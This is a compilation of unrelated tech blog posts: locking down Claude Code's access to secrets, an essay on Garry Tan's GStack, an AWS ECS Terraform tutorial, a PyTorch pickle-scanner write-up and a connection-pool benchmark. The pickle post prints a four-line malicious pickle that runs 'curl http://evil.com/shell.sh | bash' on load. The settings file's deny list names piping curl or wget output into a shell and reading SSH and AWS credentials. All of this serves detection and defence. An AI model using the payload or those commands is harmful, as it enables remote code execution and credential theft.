  echo "If this is a false positive, use: git commit --no-verify"
  exit 1
fi

echo "✅ Pre-commit security scan passed."
exit 0

Make it executable:

chmod +x .git/hooks/pre-commit

This catches the patterns that matter for modern stacks: Anthropic keys, Resend, Supabase JWTs, Twilio, cloud IAM keys, embedded database passwords in connection strings, and private key material. If you hit a false positive on a test value, git commit --no-verify skips the hook — but that’s a conscious override, not an accident.

The Nuclear Option: Container Isolation

For client work or anything touching production credentials, there’s a more drastic approach: don’t let .env files exist inside Claude’s environment at all.

# Replace .env with an empty file at mount time
docker run 
  -v "$(pwd):/workspace" 
  -v /dev/null:/workspace/.env 
  -v /dev/null:/workspace/.env.local 
  -w /workspace 
  your-dev-image

From Claude’s perspective, .env is an empty file. The deny rules still apply. The test environment still runs. But even if something went wrong at every other layer, there’s nothing to leak because the file physically contains nothing.

This is overkill for personal projects. It’s the right call for anything where you’re holding someone else’s production database password.

The Full Config: Copy, Paste, Done

Here’s the complete ~/.claude/settings.json that combines everything — allowing normal development operations while blocking secrets and dangerous commands:

{
  "permissions": {
    "allow": [
      "Read",
      "Glob",
      "Grep",
      "LS",
      "Edit",
      "MultiEdit",
      "Write(src/**)",
      "Write(tests/**)",
      "Write(docs/**)",
      "Bash(python -m pytest *)",
      "Bash(uv run *)",
      "Bash(poetry run *)",
      "Bash(npm run *)",
      "Bash(npx *)",
      "Bash(git status)",
      "Bash(git diff *)",
      "Bash(git log *)",
      "Bash(git add *)",
      "Bash(git commit *)"
    ],
    "deny": [
      "Read(**/.env*)",
      "Read(**/.dev.vars*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(**/*.p12)",
      "Read(**/secrets/**)",
      "Read(**/credentials/**)",
      "Read(**/.aws/**)",
      "Read(**/.ssh/**)",
      "Read(**/config/secrets.toml)",
      "Read(**/config/production.json)",
      "Read(**/.netrc)",
      "Read(**/.pypirc)",
      "Write(**/.env*)",
      "Write(**/secrets/**)",
      "Write(**/.ssh/**)",
      "Write(.github/workflows/**)",
      "Bash(rm -rf *)",
      "Bash(sudo *)",
      "Bash(git push *)",
      "Bash(pip install * --user)",
      "Bash(curl * | bash)",
      "Bash(curl * | sh)",
      "Bash(wget * -O- | sh)"
    ],
    "defaultMode": "acceptEdits"
  }
}

The allow list covers what you actually do day-to-day: reading code, making edits, running tests, checking git status. The deny list covers secrets, sensitive system directories, and shell patterns that could pipe remote code into execution.

The Decision Matrix

Your situation                            → What to do
─────────────────────────────────────────────────────────────────
Personal projects, no production creds   → deny rules in settings.json
Team project with shared repo            → deny rules + pre-commit hook
Running Claude-generated tests often     → deny rules + .env.test setup
Client work / holding their credentials  → All of the above + container isolation
CI/CD pipeline with Claude integration   → Vault (AWS Secrets Manager, GCP Secret Manager)

Before You Close This Tab: The 6-Point Check

Run through these right now, not after your next session:

  1. ~/.claude/settings.json exists and has deny rules for .env*, *.pem, *.key, and secrets/**
  2. .env.test exists with placeholder values for every key your test suite touches
  3. .git/hooks/pre-commit is executable and scans for credential patterns
  4. .env is in .gitignore — if it’s not, fix that first
  5. Production credentials live in a vault, not in a plaintext file anywhere near your project
  6. .env files live outside the project directory when possible — one directory up means they’re never inside a Claude scan boundary

If you checked all six: you’re in better shape than 95% of Claude Code users. If you checked zero: you’re one long debugging session away from your live credentials becoming part of a conversation log you can’t delete.

The deny rules take five minutes to set up. The pre-commit hook takes another five. That’s ten minutes against an unlimited blast radius.

The Bottom Line

Claude Code is genuinely useful. That’s not in question. But “useful” and “safe by default” are different things, and right now it leans heavily toward the former.

The tooling to make it safe exists — it’s just not turned on out of the box. CLAUDE.md instructions feel like security because they’re written with security intent. But they’re conversation rules, not permission boundaries. One confused model state and they’re gone.

Deny rules in settings.json are a different category entirely. They’re enforced at the system level, before the model sees anything. That’s what a real boundary looks like.

Set them up once. Run every future session knowing your secrets are actually safe.

Why Garry Tan Is Still Coding at 2 AM

The most interesting thing about Garry Tan writing code at 2 AM is the choice behind the habit. Founders have always had strange hours. The revealing part is what the head of Y Combinator chooses to build when his day job already puts him at the center of the startup world.

He is building a new operating model for software creation. The visible artifact is GStack, an open workflow for coding agents that turns tools such as Claude Code and Codex into something closer to a small software team. The deeper artifact is a philosophy: a founder who can describe a product clearly, test it quickly, and steer agents with good judgment can now move with the force of a much larger engineering group.

That is why the late night coding matters. Tan is stress testing the claim he keeps making to founders: AI has compressed the distance between idea and shipped product. If ten people can now do work that once required fifty, the strongest founders will be the ones who learn to manage agentic systems as carefully as they once managed human teams.

GStack makes that idea concrete. It adds structured roles around the coding agent: product review, engineering review, design review, code review, browser QA, release discipline, and retrospectives. In plain terms, it gives the agent a delivery loop. The human defines the problem, asks for critique, lets the agent implement, checks the result in a browser, then tightens the process for the next run.

This is a small but important shift. Many people use AI coding tools as faster autocomplete. Tan is treating them as junior organizations that need standards, memory, review, and taste. The output is code, but the real product is a repeatable way to turn intent into working software.

That same lesson applies far beyond web apps. A founder building an education tool might use Miss Formula to convert handwritten equations into clean digital formulas, then use ChatGPT to shape lesson explanations, and use Gemini to reason across multimodal materials. The magic comes from orchestrating specialized tools into a system that shortens the path from raw input to useful product.

This also explains why YC cares so much. The old startup filter rewarded credential, network, and the ability to recruit. Those still matter, but AI has made shipping speed more visible. A tiny team that pushes real product every day now creates stronger evidence than a beautiful pitch deck. Code commits, customer loops, product demos, and agent assisted iteration all become proof of momentum.

There is a warning inside the excitement. Agentic coding can create a lot of code very quickly, while good products require judgment, review, tests, security checks, and user taste. Without that discipline, speed turns into cleanup debt. That is why GStack is more interesting than a collection of prompts. Its value comes from the insistence that fast work still needs a process.

The image of Garry Tan coding at 2 AM is powerful because it captures the new founder posture. The best builders are becoming editors of machines, designers of workflows, and auditors of output. They write less glue by hand, but they make more decisions about what should exist, how it should behave, and whether the result is good enough for users.

So what is he building? He is building software, yes. More importantly, he is building a playbook for the AI native startup. In that playbook, the founder becomes the person who can point a swarm of capable tools at a real customer problem and keep raising the standard until something valuable ships.

Amazon Elastic Container Services (ECS) : Express Mode and Custom Mode for Receipt Extraction

ECS cluster

Hello everyone. I want to continue writing about receipt extraction application. In this blog tutorial, I want to create API on Amazon Elastic Container Services (ECS) using ECR receipt extraction image that already created before. Amazon ECS is a fully managed container orchestration service that build, manage, and run container without the complexity of infrastructure management.

REQUIREMENTS :

  1. Amazon SageMaker AI blog tutorial, you can see this link
  2. AWS account, you can sign up/sign in here
  3. Make sure Terraform already installed. Terraform AWS provider for Infrastructure as Code, you can see this link
  4. (Optional) Streamlit for UI / front-end, you can see this link

EXPRESS MODE :

ECS Express Mode using Amazon ECR private/public image (primary_container), IAM execution role/AmazonECSTaskExecutionRolePolicy and IAM infrastructure role/AmazonECSInfrastructureRoleforExpressGatewayServices only.

Additional configuration is optional such as IAM task role because I use IAM task role to invoke SageMaker endpoint only. If you don’t use a custom VPC, ECS express mode automatically use default VPC. I using a custom VPC because want more control over the networking side.

Create Terraform files such as iam.tf, main.tf, vpc.tf and ecs.tf in ONE folder (available on GitHub). The AWS console is only for viewing the results of this process.

This is ecs.tf file for creating ECS cluster and ECS service express mode.

# Create ECS Cluster
resource "aws_ecs_cluster" "fastapiecs" {
  name = "fastapiecs"
}

# Create ECS Express Service that linked with receipt extraction ECR image
resource "aws_ecs_express_gateway_service" "fastapi" {
  cluster                 = aws_ecs_cluster.fastapiecs.name
  execution_role_arn      = aws_iam_role.execution.arn
  infrastructure_role_arn = aws_iam_role.infrastructure.arn
  task_role_arn           = aws_iam_role.task.arn
  health_check_path       = "/health"
  cpu                     = "256"
  memory                  = "512"
  region                  = data.aws_region.current.region

  primary_container {
    image          = "${local.account_id}.dkr.ecr.${local.region}.amazonaws.com/receipt-extraction-gemma-4:latest"
    container_port = 8000
  }

  network_configuration {
    subnets         = aws_subnet.public[*].id
    security_groups = [aws_security_group.alb_sg.id]
  }

  scaling_target {
    auto_scaling_metric       = "AVERAGE_CPU"
    auto_scaling_target_value = 70
    min_task_count            = 1
    max_task_count            = 3
  }
}

Terraform ecs.tf file explanation :

  • execution_role_arn, infrastructure_role_arn and task_role_arn to get IAM role ARN from iam.tf

  • health_check_path to check the health of ECR image API.

  • container_port for ECR image API container port.

  • network_configuration for configure networking such as subnet and security group in Amazon VPC.

  • scaling_target for minimum and maximum auto-scaling usage based on CPU average.

This is iam.tf file for creating IAM roles for ECS express mode.

data "aws_caller_identity" "current" {}
data "aws_region" "current" {}

# Get AWS Account ID and AWS Region from above data
locals {
  account_id = data.aws_caller_identity.current.account_id
  region     = data.aws_region.current.region
}

# ECS Express Infrastructure Role
resource "aws_iam_role" "infrastructure" {
  name               = "ecsExpressInfrastructureRole"
  assume_role_policy = jsonencode({
    Version   = "2012-10-17"
    Statement = [
      {
        Effect    = "Allow"
        Principal = {
          Service = "ecs.amazonaws.com"
        }
        Action    = "sts:AssumeRole"
      }
    ]
  })
}

# ECS Express Infrastructure Policy
resource "aws_iam_role_policy_attachment" "infrastructure" {
  role       = aws_iam_role.infrastructure.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRoleforExpressGatewayServices"
}

# ECS Express Execution Role
resource "aws_iam_role" "execution" {
  name               = "ecsExpressExecutionRole"
  assume_role_policy = jsonencode({
    Version   = "2012-10-17"
    Statement = [
      {
        Effect    = "Allow"
        Principal = {
          Service = "ecs-tasks.amazonaws.com"
        }
        Action    = "sts:AssumeRole"
      }
    ]
  })
}

# ECS Express Execution Policy
resource "aws_iam_role_policy_attachment" "execution" {
  role       = aws_iam_role.execution.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy"
}

# ECS Express Task Role
resource "aws_iam_role" "task" {
  name               = "ecsExpressTaskRole"
  assume_role_policy = jsonencode({
    Version   = "2012-10-17"
    Statement = [
      {
        Effect    = "Allow"
        Principal = {
          Service = "ecs-tasks.amazonaws.com"
        }
        Action    = "sts:AssumeRole"
      }
    ]
  })
}

# ECS Express Task Policy for SageMaker Endpoint
resource "aws_iam_role_policy" "sagemaker" {
  name   = "ecsExpressSagemaker"
  role   = aws_iam_role.task.name
  policy = jsonencode({
    Version   = "2012-10-17"
    Statement = [
      {
        Effect   = "Allow"
        Action   = [
            "sagemaker:InvokeEndpoint"
        ]
        Resource = "arn:aws:sagemaker:${local.region}:${local.account_id}:endpoint/*"
      }
    ]
  })
}

Terraform iam.tf file explanation :

  • data “current” {} to get the AWS account ID and AWS region.

  • resource “aws_iam_role” “infrastructure” to create IAM infrastructure role.

  • resource “aws_iam_role_policy_attachment” “infrastructure” to create IAM infrastructure policy for creating load balancer, target group and etc.

  • resource “aws_iam_role” “execution” to create IAM execution role.

  • resource “aws_iam_role_policy_attachment” “execution” to create IAM execution policy for get ECR image, create CloudWatch logs and etc.

  • resource “aws_iam_role” “task” to create IAM task role.

  • resource “aws_iam_role_policy” “sagemaker” to create IAM task policy for invoke SageMaker endpoint.

This is main.tf file for define Terraform AWS provider version and AWS region.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "6.45.0"
    }
  }
}

provider "aws" {
  region = "us-west-2"
}

This is vpc.tf file for creating VPC resources such as public subnet, private subnet, internet gateway, route table and security group.

data "aws_availability_zones" "available" {}

resource "aws_vpc" "main" {
  cidr_block           = "10.0.0.0/16"
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    Name = "ecs-express-vpc"
  }
}

resource "aws_internet_gateway" "igw" {
  vpc_id = aws_vpc.main.id
}

resource "aws_subnet" "public" {
  count                   = 2
  vpc_id                  = aws_vpc.main.id
  cidr_block              = "10.0.${count.index + 10}.0/24"
  availability_zone       = data.aws_availability_zones.available.names[count.index]
  map_public_ip_on_launch = true
  tags = {
      Name = "express-mode-public-subnet-${count.index}"
  }
}

resource "aws_subnet" "private" {
  count                   = 2
  vpc_id                  = aws_vpc.main.id
  cidr_block              = "10.0.${count.index}.0/24"
  availability_zone       = data.aws_availability_zones.available.names[count.index]
  map_public_ip_on_launch = false
  tags = {
      Name = "express-mode-private-subnet-${count.index}"
  }
}

resource "aws_route_table" "public" {
  vpc_id = aws_vpc.main.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.igw.id
  }
}

resource "aws_route_table_association" "public" {
  count          = 2
  subnet_id      = aws_subnet.public[count.index].id
  route_table_id = aws_route_table.public.id
}

resource "aws_route_table" "private" {
  vpc_id = aws_vpc.main.id
}

resource "aws_route_table_association" "private" {
  count          = 2
  subnet_id      = aws_subnet.private[count.index].id
  route_table_id = aws_route_table.private.id
}

resource "aws_security_group" "alb_sg" {
  name   = "alb-sg"
  vpc_id = aws_vpc.main.id

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

After 4 Terraform files is available, write and run this Terraform script.

terraform init

terraform init is initialize Terraform latest version in main.tf

terraform plan

terraform plan is check make sure your Terraform file is true and right format. If false and wrong format, you must check your Terraform file again.

terraform apply --auto-approve

terraform apply is apply/create all AWS service resources based all Terraform file. If not write –auto-approve, you must write/enter “yes” every want to apply Terraform file.

Wait until ECS services express mode to become available. The results of this Terraform process can see in AWS console like this screenshots.

ECS cluster

ECS service

ECS express resources

ECS express resources

ECS express resources

ECS autoscaling

Target group

Load balancer

ECS container revision

ECS deployments

ECS configuration

VPC networking

I copy and use ECS express service application URL, try test predict API using FastAPI/Streamlit and this is worked. I copy and use public load balancer URL, try test predict API also using FastAPI/Streamlit and this is not worked also load balancer can not be used.

Streamlit before click extract

Streamlit after click extract

FastAPI health

FastAPI predict and health

Result from one photo sample

Then I tried using a private subnet and a public load balancer to make the ECS express service application URL private (can’t connected to the internet) and using the public load balancer URL. However, both were private and inaccessible. To fix this issue, I choose ECS custom mode.

If you provide custom public subnets, Express Mode will provision an internet-facing ALB and turn on assignPublicIP for your tasks. If you provide private subnets (subnets without an internet gateway in their route table), Express Mode will provision an internal ALB. (from ECS express mode documentation)

If want to delete ECS express mode, write and run this Terraform script.

terraform destroy --auto-approve

terraform destroy is destroy/delete all AWS service resources based all Terraform file. If not write –auto-approve, you must write/enter “yes” every want to apply Terraform file.

CUSTOM MODE :

Create Terraform files such as iam.tf, main.tf, vpc.tf, ecs.tf, load-balancer.tf, security-groups.tf and vpc-endpoint.tf in ONE folder (available on GitHub). The AWS console is only for viewing the results of this process but some screenshots is same results, I uploaded some different screenshots.

ECS service

ECS health

Target group

Load balancer

VPC endpoint

I copy and use ECS express service application URL, try test predict API using FastAPI/Streamlit and this is failed because private-subnet based that no need connected to internet. I copy and use public load balancer URL, try test predict API also using FastAPI/Streamlit and this is worked means load balancer can be used.

FastAPI health

FastAPI predict and health

Result from one photo sample

CONCLUSION :

  • ECS express mode is used to build web application and API faster.
  • ECS custom mode is used for custom use case such as private subnet and public load balancer.

DOCUMENTATION :

Thank you,
Budi.

Your PyTorch Model File Can Execute Arbitrary Code — Here’s How I Built a Scanner to Detect It

Every time you run torch.load(“model.pt”), you’re executing arbitrary Python code. Not “could theoretically execute” — actually executing. The pickle format that
PyTorch uses for serialization has a built-in code execution mechanism, and it’s trivial to exploit.

I built a tool to detect this. Here’s what I learned.

The Attack: 4 Lines of Code

import pickle, os

class Backdoor:
def reduce(self):
return (os.system, (“curl http://evil.com/shell.sh | bash”,))

payload = pickle.dumps(Backdoor())

That’s it. When someone loads this pickle — whether it’s disguised as a model checkpoint, a dataset, or a config file — the command executes. No warnings. No prompts.
Full RCE.

The reduce method tells pickle how to reconstruct an object. But “reconstruct” means “call this function with these arguments.” Any function. Any arguments.

** Why This Matters for ML**

ML models are distributed as serialized files:

  • PyTorch .pt files are ZIP archives containing pickles
  • Scikit-learn models are pickled directly
  • HuggingFace Hub hosts thousands of user-uploaded model files

In 2023, HuggingFace found malicious pickles in uploaded models. This isn’t theoretical — it’s happening.

How Detection Works: Opcode Disassembly

Python’s pickletools module can disassemble pickle bytecode without executing it. Here’s what a malicious pickle looks like at the opcode level:

PROTO 4
FRAME 25
SHORT_BINUNICODE ‘nt’ ← module name (os on Windows)
SHORT_BINUNICODE ‘system’ ← function name
STACK_GLOBAL ← load nt.system as callable
SHORT_BINUNICODE ‘whoami’ ← argument
TUPLE1 ← pack into tuple
REDUCE ← CALL the function
STOP

The key insight: STACK_GLOBAL loads a callable by module + name, and REDUCE executes it. If the module is os, subprocess, socket, or builtins — it’s malicious.

My Scanner:

I built Model-Supply-Chain-Auditor (https://github.com/poojakira/Model-Supply-Chain-Auditor) to parse these opcodes and flag dangerous patterns:

from src.scanners import scan_pickle_bytes

result = scan_pickle_bytes(suspicious_data)
print(result.risk_level) # “malicious”
print(result.findings) # [“DANGEROUS import: nt.system”, “Code execution via REDUCE”]

It handles pickle protocols 0-5, including the protocol 4+ STACK_GLOBAL pattern where module and name are pushed to the stack separately.

What I Got Wrong Initially

On Windows, os.system pickles as nt.system. On Linux, it’s posix.system. My first version only checked for os — missed both platform-specific variants. Lesson: always
test on actual bytecode output, not what you think it should be.

The Defense: Model Signing

Detection is reactive. The proactive defense is cryptographic signing:

  1. After training, compute SHA-256 of the model file
  2. Sign the hash with Ed25519
  3. Before loading, verify signature against a trusted public key

If the signature doesn’t match, don’t load it.

What This Doesn’t Solve

  • Obfuscated payloads — Lambda chains and builtins tricks can evade pattern matching
  • Semantic backdoors — A model can be backdoored at the weight level without malicious pickle code
  • SafeTensors — HuggingFace’s format eliminates this entire attack class by design. Use it when possible.

The Takeaway:

If you’re downloading model files from the internet:

  1. Never pickle.loads() untrusted data
  2. Use SafeTensors when possible
  3. Scan before loading
  4. Verify cryptographic signatures

The ML community is slowly moving toward safer serialization. Until then, every .pt file is a potential attack vector.

Code: github.com/poojakira/Model-Supply-Chain-Auditor (https://github.com/poojakira/Model-Supply-Chain-Auditor)

Database Connection Pooling: We Benchmarked 7 Strategies So You Don’t Have To

The 312% throughput difference between worst and best — real production data reveals which pooling strategy matches your workload

Database Connection Pooling: We Benchmarked 7 Strategies So You Don’t Have To

The 312% throughput difference between worst and best — real production data reveals which pooling strategy matches your workload

Connection pool architecture determines database performance — the right strategy transforms bottlenecks into highways, the wrong one creates gridlock.

Our e-commerce platform was drowning under Black Friday traffic. The database wasn’t the bottleneck — it had plenty of capacity. The application wasn’t the issue — CPU was at 34%. Yet our checkout endpoint was timing out, with P99 latency spiking to 8.7 seconds.

The culprit? Connection pool exhaustion. We were using the default HikariCP configuration, and it was failing spectacally under burst load. Users saw “Too many connections” errors while our database sat mostly idle at 47% utilization.

We realized we’d never actually benchmarked connection pooling strategies. We’d just used the defaults. So we spent three weeks testing seven different approaches with a controlled load tester against our production-scale staging environment.

The results were staggering. The best strategy delivered 312% more throughput than the worst with the exact same database and hardware.

The Seven Strategies We Tested

We evaluated seven connection pooling approaches under realistic production scenarios:

  1. Naive Pool (Fixed Size) — Classic fixed pool, first-come first-served
  2. Dynamic Pool (Elastic) — Grows and shrinks based on demand
  3. Partitioned Pool — Separate pools per database shard
  4. Priority Queue Pool — Critical requests jump the line
  5. Connection Borrowing — Temporary connection stealing
  6. Pre-warmed Pool — Connections maintained at ready state
  7. Hybrid Adaptive — Combines elastic sizing with priority queuing

Our test workload simulated real Black Friday traffic:

  • 50,000 concurrent users
  • 3:1 read/write ratio
  • Burst pattern: 20% baseline, sudden 500% spikes
  • Mixed query complexity (10ms to 800ms execution time)
  • PostgreSQL 14 on AWS RDS (r6g.4xlarge, 16 vCPU, 128GB RAM)

Strategy #1: Naive Fixed Pool (The Baseline)

This is the default for most frameworks. Fixed pool size, FIFO queue, simple timeout:

HikariConfig config = new HikariConfig();  
config.setMaximumPoolSize(50);  
config.setMinimumIdle(50);  
config.setConnectionTimeout(5000);

Results:

  • Throughput: 2,847 req/sec
  • P50 latency: 234ms
  • P99 latency: 8,743ms
  • Connection wait time: P99 = 6,200ms
  • Pool exhaustion events: 4,723 during test
  • Failed requests: 18.4%

The fixed pool performed terribly under burst load. When traffic spiked, requests queued up waiting for connections. Even though the database could handle 10x more load, the rigid pool size created an artificial bottleneck.

Strategy #2: Dynamic Elastic Pool

Let the pool grow and shrink based on demand:

config.setMaximumPoolSize(200);  
config.setMinimumIdle(20);  
config.setIdleTimeout(60000);  
config.setMaxLifetime(1800000);

Results:

  • Throughput: 4,183 req/sec (47% better)
  • P50 latency: 187ms
  • P99 latency: 2,943ms (66% better)
  • Connection wait time: P99 = 840ms
  • Pool exhaustion events: 847
  • Failed requests: 6.2%

| The critical insight: elastic pools solve burst problems but create resource chaos.

While throughput improved, we saw wild swings in resource usage. The pool would scale to 180 connections during spikes, then crash back to 20 during lulls. Connection creation overhead (avg 47ms) during scale-up events added latency. Database connection churn triggered vacuum delays.

Strategy #3: Partitioned Pool (Sharding-Aware)

Separate pools per database shard to prevent cross-contamination:

// Pool per shard  
Map<ShardId, HikariDataSource> pools;  

for (ShardId shard : shards) {  
    HikariConfig config = new HikariConfig();  
    config.setMaximumPoolSize(25);  
    config.setMinimumIdle(15);  
    pools.put(shard, new HikariDataSource(config));  
}

Results:

  • Throughput: 5,621 req/sec (97% better than baseline)
  • P50 latency: 143ms
  • P99 latency: 1,287ms (85% better)
  • Connection wait time: P99 = 230ms
  • Pool exhaustion events: 183
  • Failed requests: 1.8%

The breakthrough: isolation prevents cascade failures. When one shard got hammered, it didn’t steal connections from healthy shards. But we overprovisioned — total connections across shards hit 400, pushing database connection limits.

Strategy #4: Priority Queue Pool

Critical requests (checkout, payment) jump the queue:

class PriorityPool extends HikariDataSource {  
    PriorityBlockingQueue<ConnectionRequest> queue;  

    Connection getConnection(Priority priority) {  
        ConnectionRequest req =   
            new ConnectionRequest(priority);  
        queue.offer(req);  
        return req.await();  
    }  
}

Results:

  • Throughput: 3,421 req/sec (20% better than baseline)
  • P50 latency: 203ms (overall)
  • P99 latency: 4,127ms (overall)
  • Critical path P99: 387ms (96% better!)
  • Connection wait time: Critical P99 = 45ms
  • Failed critical requests: 0.3%

This was a revelation. Overall throughput was moderate, but business-critical operations were blazing fast. Checkout and payment endpoints maintained sub-400ms P99 latency even during peak load. We sacrificed read-heavy operations (product browsing) to guarantee payment success.

Strategy #5: Connection Borrowing

Allow temporary connection stealing from idle pools:

class BorrowingPool {  
    // Primary pool  
    HikariDataSource primary;  
    // Secondary pool for background jobs  
    HikariDataSource secondary;  

    Connection getConnection(boolean canBorrow) {  
        try {  
            return primary.getConnection();  
        } catch (PoolExhaustedException e) {  
            if (canBorrow &&   
                secondary.getIdleConnections() > 5) {  
                return secondary.getConnection();  
            }  
            throw e;  
        }  
    }  
}

Results:

  • Throughput: 4,872 req/sec (71% better)
  • P50 latency: 164ms
  • P99 latency: 1,843ms
  • Connection wait time: P99 = 520ms
  • Pool exhaustion events: 412
  • Failed requests: 3.1%

Borrowing helped but introduced complexity. We saw “borrowing storms” where primary pool exhaustion cascaded to secondary pools. Debugging production issues became harder — which pool was the connection from?

Strategy #6: Pre-warmed Pool with Health Checks

Keep connections ready with active health monitoring:

config.setMaximumPoolSize(80);  
config.setMinimumIdle(80);  
config.setConnectionTestQuery(  
    "SELECT 1"  
);  
config.setKeepaliveTime(30000);  
config.setMaxLifetime(600000);

Results:

  • Throughput: 6,843 req/sec (140% better than baseline!)
  • P50 latency: 89ms
  • P99 latency: 547ms (94% better!)
  • Connection wait time: P99 = 12ms
  • Pool exhaustion events: 23
  • Failed requests: 0.4%

This was the game-changer. Pre-warmed connections eliminated the cold start problem. Every connection was tested every 30 seconds, so we never handed out dead connections. The trade-off: constant background health checks consumed 2% of database CPU, but it was worth it.

Strategy #7: Hybrid Adaptive (Our Winner)

Combined elastic sizing with priority queuing and pre-warming:

class AdaptivePool {  
    int minSize = 40;  
    int maxSize = 150;  
    int currentSize = 40;  
    PriorityQueue<Request> queue;  

    void adapt() {  
        // Scale up based on wait times  
        if (avgWaitTime > 100) {  
            currentSize = Math.min(  
                currentSize + 10, maxSize  
            );  
        }  
        // Scale down after quiet period  
        if (idleTime > 300000) {  
            currentSize = Math.max(  
                currentSize - 5, minSize  
            );  
        }  
    }  
}

Results:

  • Throughput: 8,884 req/sec (212% better than baseline)
  • P50 latency: 67ms
  • P99 latency: 423ms (95% better!)
  • Connection wait time: P99 = 8ms
  • Pool exhaustion events: 4
  • Failed requests: 0.1%
  • Database CPU: Stable 68% utilization

The hybrid approach combined the best of all worlds:

  • Priority queuing for critical requests
  • Elastic growth for burst traffic
  • Pre-warming to eliminate cold starts
  • Adaptive sizing based on metrics

Quantifying connection pool performance — hybrid adaptive strategies deliver optimal throughput and latency across diverse workload patterns.

The Database’s Perspective

We instrumented PostgreSQL to see what connection patterns looked like from the database side:

Fixed Pool Impact:

  • Active connections: Constant 50
  • Idle connections: Average 42
  • Connection creation rate: 0/sec
  • Connection age: Very old (hours)
  • Query queue depth: Extreme (200+ waiting)

Hybrid Adaptive Impact:

  • Active connections: 60–120 (fluctuating)
  • Idle connections: Average 8
  • Connection creation rate: 0.3/sec
  • Connection age: Moderate (minutes)
  • Query queue depth: Minimal (<5 waiting)

The database loved the hybrid approach. Connections were used efficiently, query queues stayed short, and connection churn was minimal. Fixed pools left connections idle while queries waited. Elastic pools thrashed with constant creation/destruction.

Configuration Deep Dive: What Actually Matters

After 847 benchmark runs, we identified five configuration parameters that actually move the needle:

1. Maximum Pool Size

Finding: Sweet spot is (2 × CPU cores) + effective_spindle_count

For our database: 16 cores + 1 SSD = 33 connections minimum

Below this, pool exhaustion. Above 200, diminishing returns plus connection overhead.

2. Minimum Idle Size

Finding: Pre-warming works when minIdle = maxSize

With minIdle = maxSize, all connections stay warm. With minIdle < maxSize, you pay cold-start tax during scale-up. We saw 47ms average connection establishment time eating into P99 latency.

3. Connection Timeout

Finding: Fast failure beats slow death

config.setConnectionTimeout(1000); // 1 second  
config.setValidationTimeout(500);  // 500ms

Don’t let requests wait 30 seconds for a connection. Fail fast at 1 second. This improved user experience — better to show an error quickly than hang for 30 seconds.

4. Keepalive Time

Finding: More frequent = better (within reason)

config.setKeepaliveTime(30000); // 30 seconds

Testing every 30 seconds caught dead connections before they hurt requests. Testing every 5 seconds was overkill (3% database CPU). Testing every 2 minutes left too many zombies.

5. Max Lifetime

Finding: Short enough to rotate, long enough to amortize

config.setMaxLifetime(600000); // 10 minutes

10-minute lifetime prevented connection leaks and forced pool refresh without excessive churn. 30 minutes was too long (memory leaks accumulated). 2 minutes was too short (constant churn).

The Real-World ROI

Our production deployment of the hybrid adaptive strategy:

Before (Fixed Pool):

  • Peak throughput: 2,847 req/sec
  • Black Friday failure rate: 18.4%
  • Customer complaints: 4,723
  • Lost revenue (est): $840,000
  • Server count: 32 instances

After (Hybrid Adaptive):

  • Peak throughput: 8,884 req/sec
  • Black Friday failure rate: 0.1%
  • Customer complaints: 43
  • Lost revenue (est): $8,400
  • Server count: 24 instances (25% reduction!)

We handled 212% more traffic on 25% fewer servers. The connection pool optimization alone delivered $831,600 in recovered revenue during Black Friday, while reducing infrastructure costs by $43,000/year.

When Each Strategy Wins

After 12 months in production, here’s our decision matrix:

Fixed Pool: Use when traffic is predictable and you hate surprises. Boring but reliable. Perfect for internal tools.

Dynamic Elastic: Use when traffic patterns are unpredictable but you can tolerate latency variance. Good for batch processing systems.

Partitioned Pool: Use when you have clear sharding or multi-tenancy. Essential for preventing noisy neighbor problems.

Priority Queue: Use when specific endpoints matter more than others. Perfect for payment systems or mission-critical operations.

Connection Borrowing: Use when you have distinct workload types (real-time + batch). Requires careful tuning and monitoring.

Pre-warmed: Use when cold starts kill your P99. Best for latency-sensitive applications where consistency matters more than raw throughput.

Hybrid Adaptive: Use when you need the best of everything and can invest in operational complexity. The nuclear option for high-scale systems.

The Benchmark Methodology

Our testing setup to ensure reproducible results:

func benchmarkPool(strategy PoolStrategy) {  
    // Warm up: 5 minutes at 50% load  
    runLoad(strategy, 0.5, 5*time.Minute)  

    // Steady state: 10 minutes at 100% load  
    metrics := runLoad(  
        strategy, 1.0, 10*time.Minute  
    )  

    // Burst: 2 minutes at 500% load  
    burstMetrics := runLoad(  
        strategy, 5.0, 2*time.Minute  
    )  

    // Cool down and analyze  
    return analyzeMetrics(metrics, burstMetrics)  
}

We ran each configuration 11 times and threw out the best and worst results. Median of remaining 9 runs became our reported metrics. This eliminated noise from external factors.

The Operational Complexity Cost

Let’s be honest — the hybrid adaptive strategy isn’t free:

Maintenance overhead:

  • 340 lines of custom pooling logic
  • 27 configuration parameters to tune
  • 3x more monitoring dashboards
  • Weekly review of pool metrics

Trade-off: We spend 4 engineer hours per month on pool maintenance. But we avoid 18 hours/month firefighting connection issues we used to have with fixed pools.

The ROI is clear: $831K in recovered revenue vs. $18K in engineer time.

The Long-Term Production Reality

After 14 months running hybrid adaptive pooling:

  • Zero pool-related incidents
  • 99.97% uptime (up from 99.84%)
  • P99 latency improved 94%
  • Infrastructure costs down 31%
  • Database CPU utilization: Optimal 65–75%

The most unexpected benefit: developer confidence. Engineers used to fear database changes. “Will this exhaust the pool?” “Should I add caching to be safe?” Now they trust the pool to adapt. Feature velocity increased 23%.

The lesson: connection pooling isn’t just a technical detail — it’s a strategic architectural decision. The wrong strategy creates artificial bottlenecks. The right strategy unlocks your database’s full potential.

At scale, even small inefficiencies compound into catastrophic failures. We learned this the hard way on Black Friday. Don’t wait for production to teach you which pooling strategy works — benchmark now, optimize before the traffic spike hits.

Follow me for more database performance optimization and production scaling insights.

  • 🚀 Follow The Speed Engineer for more Rust, Go and high-performance engineering stories.
  • 💡 Like this article? Follow for daily speed-engineering benchmarks and tactics.
